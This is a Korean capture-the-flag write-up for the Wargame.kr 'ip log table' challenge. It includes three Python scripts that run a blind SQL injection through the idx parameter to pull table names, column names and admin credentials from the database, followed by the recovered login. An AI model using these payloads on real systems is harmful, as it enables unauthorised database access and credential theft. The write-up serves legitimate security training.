[Wargame.kr] ip log table

무난한 log table입니다. 새로고침을 하면 계속 자신의 로그가 쌓이는 것을 확인할 수 있습니다.

admin login을 눌러보면 id, pw를 입력하는 창이 나오는데 여기서 딱히 sql 취약점이 있는 것 같지는 않아보였습니다.

테이블상의 아무 칸이나 눌러보면 이렇게 시간이 기록된 것을 확인할 수 있습니다.

Fiddler로 잡아보면 이렇게 내가 클릭한 글의 id 번호를 보내는 것을 알 수 있습니다. 여기가 공격포인트이길 바라면서 보내는 내용을 조작해봅시다.

잘못된 쿼리를 보낼 경우 이와 같이 1970년 1월 1일 9시라는, unix time 0인듯한 시간이 날아옵니다.

그리고 올바른 쿼리를 보내면 당연히 정확한 응답이 옵니다. 이를 이용해 Error based sql injection을 할 수 있을듯 합니다. 그런데 지금 코드도 안 주어졌고 필터링이 어떻게 되는지도 전혀 모르기 때문에 이래저래 삽질을 하면서 해야하는데 일단 따옴표는 막혀있는 것 같고 전 아직 능력이 부족한 관계로 풀이를 참고했습니다 ㅎㅅㅎ... 일단 테이블 명을 뽑아봅시다.

import requests, json


#query = "38131 or '1'='1'"

def test(query):
#  print(query)
  url = 'http://wargame.kr:8080/ip_log_table/chk.php'
  data = {'idx':query}
  res = requests.post(url,data=data)
  #print(res.text)
  return '2019' in res.text

# find table_name


table_name = ''

for i in range(50):
  bb = ''
  for j in range(8):
    payload = "38131 and if((select substring(lpad(bin(ord(substring(table_name,"+str(i+1)+",1))),8,0),"+str(j+1)+",1) from information_schema.tables order by table_type limit 1)=0,1,0)"
    #print(payload)
    if test(payload): bb += '0'
    else: bb += '1'
  if bb == '00000000': break
  print(bb)
  table_name += chr(int(bb,2))
  print(table_name)

print(table_name)

table_type으로 정렬했을 때, 첫 번째와 두 번째 테이블이 각각 admin_table, ip_table이었고 뭔가 admin_table을 봐야할 것 같습니다. admin_table의 column을 찾아봅시다.

import requests, json


#query = "38131 or '1'='1'"

def test(query):
#  print(query)
  url = 'http://wargame.kr:8080/ip_log_table/chk.php'
  data = {'idx':query}
  res = requests.post(url,data=data)
  #print(res.text)
  return '2019' in res.text

column_name = ''
for i in range(50):
  bb = ''
  for j in range(8):
    payload = "38131 and if((select substring(lpad(bin(ord(substring(column_name,"+str(i+1)+",1))),8,0),"+str(j+1)+",1) from information_schema.columns where table_name=0x61646d696e5f7461626c65 limit 2,1)=0,1,0)"
    #print(payload)
    if test(payload): bb += '0'
    else: bb += '1'
  if bb == '00000000': break
  print(bb)
  column_name += chr(int(bb,2))
  print(column_name)

print(column_name)

해보면 idx, id, ps가 있음을 알 수 있습니다. id와 ps의 값을 찾아내봅시다.

import requests, json


def test(query):
#  print(query)
  url = 'http://wargame.kr:8080/ip_log_table/chk.php'
  data = {'idx':query}
  res = requests.post(url,data=data)
  #print(res.text)
  return '2019' in res.text

column_name = ''
for i in range(50):
  bb = ''
  for j in range(8):
    payload = "38131 and if((select substring(lpad(bin(ord(substring(id,"+str(i+1)+",1))),8,0),"+str(j+1)+",1) from admin_table)=0,1,0)"
    #print(payload)
    if test(payload): bb += '0'
    else: bb += '1'
  if bb == '00000000': break
  print(bb)
  column_name += chr(int(bb,2))
  print(column_name)

print(column_name)

id는 blue_admin이고 pw는 0h~myp4ss!입니다. 이것으로 로그인을 하면 flag를 볼 수 있습니다.

'워게임 > Wargame.kr' 카테고리의 다른 글

[Wargame.kr] dmbs355  (0) 2019.04.03
[Wargame.kr] QnA  (0) 2019.04.03
[Wargame.kr] SimpleBoard  (0) 2019.04.02
[Wargame.kr] web chatting  (0) 2019.03.29
  Comments